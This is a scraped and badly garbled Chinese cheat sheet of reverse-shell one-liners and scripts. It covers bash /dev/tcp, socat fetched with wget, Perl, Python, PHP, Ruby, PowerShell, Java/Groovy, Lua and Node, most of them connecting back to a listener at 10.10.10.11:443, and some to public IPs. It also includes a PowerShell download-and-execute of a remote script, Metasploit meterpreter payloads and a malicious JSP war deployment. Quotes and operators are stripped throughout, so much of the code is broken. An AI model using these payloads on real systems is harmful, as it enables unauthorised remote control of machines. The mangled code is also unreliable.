首先在本地监听TCP协议443端口

/dev/tcp/154.21…假设本机地址10.10.10.11监听端口443。

首先在本地监听TCP协议443端口

5/dev/tcp/154.211.4.155/1234;cat

while

-li,pty,stderr,setsid,sigint,sane

socat

-li,pty,stderr,setsid,sigint,sane

wget

https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat

/tmp/socat;

-li,pty,stderr,setsid,sigint,sane

tcp:10.10.10.11:443

Socket;$i10.10.10.11;$p443;socket(S,PF_INET,SOCK_STREAM,getprotobyname(tcp));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,S);open(STDOUT,S);open(STDERR,S);exec(/bin/sh

-i);};

IO::Socket::INET(PeerAddr,10.10.10.11:443);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_

while;

IO::Socket::INET(PeerAddr,10.10.10.11:443);STDIN-fdopen($c,r);$~-fdopen($c,w);system$_

while;

socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.10.10.11,443));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);

export

sys,socket,os,pty;ssocket.socket();s.connect((os.getenv(RHOST),int(os.getenv(RPORT))));[os.dup2(s.fileno(),fd)

for

socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((10.10.10.11,443));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import

pty;

socket,subprocess,os,pty;ssocket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect((dead:beef:2::125c,443,0,2));os.dup2(s.fileno(),0);

os.dup2(s.fileno(),2);ppty.spawn(/bin/sh);

Windows平台如下:

[[[[[[[(s.connect((10.10.10.11,

443)),

None)][2])(__contextlib.nested(type(except,

(),

__after()))[1])]][0]})())))([None]))[1]

for

[(subprocess.Popen([\\windows\\system32\\cmd.exe],

stdinsubprocess.PIPE))]][0])[1]

for

[(socket.socket(socket.AF_INET,

for

(__l[s].send(__l[p].stdout.read(1)),

__this())[1]

(__l[p].stdin.write(__l[data]),

__after())[1]

$sockfsockopen(10.10.10.11,443);exec(/bin/sh

23);

$sfsockopen(10.10.10.11,443);$procproc_open(/bin/sh

-i,

$sfsockopen(10.10.10.11,443);shell_exec(/bin/sh

23);

$sfsockopen(10.10.10.11,443);/bin/sh

23;

$sfsockopen(10.10.10.11,443);system(/bin/sh

23);

$sfsockopen(10.10.10.11,443);popen(/bin/sh

23,

$s\127.0.0.1\;$p443;error_reporting(0);ini_set(error_log,NULL);ini_set(log_errors,0);set_time_limit(0);umask(0);if($sfsockopen($s,$p,$n,$n)){if($xproc_open(\/bin/sh$IFS-i\,array(array(\pipe\,\r\),array(\pipe\,\w\),array(\pipe\,\w\)),$p,getcwd())){stream_set_blocking($p[0],0);stream_set_blocking($p[1],0);stream_set_blocking($p[2],0);stream_set_blocking($s,0);while(true){if(feof($s))die(\connection/closed\);if(feof($p[1]))die(\shell/not/response\);$rarray($s,$p[1],$p[2]);stream_select($r,$n,$n,null);if(in_array($s,$r))fwrite($p[0],fread($s,1024));if(in_array($p[1],$r))fwrite($s,fread($p[1],1024));if(in_array($p[2],$r))fwrite($s,fread($p[2],1024));}fclose($p[0]);fclose($p[1]);fclose($p[2]);proc_close($x);}else{die(proc_open/disabled);}}else{die(not/connect);}

10、利用Ruby脚本反弹shell

-efTCPSocket.open(10.10.10.11,443).to_i;exec

sprintf(/bin/sh

fork;cTCPSocket.new(10.10.10.11,443);while(cmdc.gets);IO.popen(cmd,r){|io|c.print

io.read}end

cTCPSocket.new(10.10.10.11,443);while(cmdc.gets);IO.popen(cmd,r){|io|c.print

io.read}end

System.Net.Sockets.TCPClient(121.40.248.82,1234);$stream

$client.GetStream();[byte[]]$bytes

$stream.Read($bytes,

System.Text.ASCIIEncoding).GetString($bytes,0,

$i);$sendback

([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell

System.Net.Sockets.TCPClient(10.10.10.11,443);$stream

$client.GetStream();[byte[]]$bytes

$stream.Read($bytes,

System.Text.ASCIIEncoding).GetString($bytes,0,

$i);$sendback

([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell

Net.WebClient).DownloadString(https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1)

13、利用Awk反弹shell

ProcessBuilder(cmd).redirectErrorStream(true).start();Socket

snew

pip.getInputStream(),pep.getErrorStream(),

sis.getInputStream();OutputStream

pop.getOutputStream(),sos.getOutputStream();while(!s.isClosed()){while(pi.available()0)so.write(pi.read());while(pe.available()0)so.write(pe.read());while(si.available()0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try

(Exception

在靶机上部署war包后访问shell的jsp文件即可在监听端口获得反弹shell

17、使用Lua脚本反弹shell

require(socket);require(os);tsocket.tcp();t:connect(10.10.10.11,443);os.execute(/bin/sh

23);

global.process.mainModule.require-x(child_process).exec(nc

10.10.10.11

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

19、Groovy版本反弹shell

ProcessBuilder(cmd).redirectErrorStream(true).start();Socket

snew

pip.getInputStream(),pep.getErrorStream(),

sis.getInputStream();OutputStream

pop.getOutputStream(),sos.getOutputStream();while(!s.isClosed()){while(pi.available()0)so.write(pi.read());while(pe.available()0)so.write(pe.read());while(si.available()0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try

(Exception

windows/meterpreter/reverse_tcp

LHOST10.10.10.11

linux/x86/meterpreter/reverse_tcp

LHOST10.10.10.11

linux/x86/meterpreter/reverse_tcp

LHOST10.10.10.11

windows/meterpreter/reverse_tcp

LHOST10.10.10.11

windows/meterpreter/reverse_tcp

LHOST10.10.10.11

https://krober.biz/misc/reverse_shell.php?ip10.10.10.11port443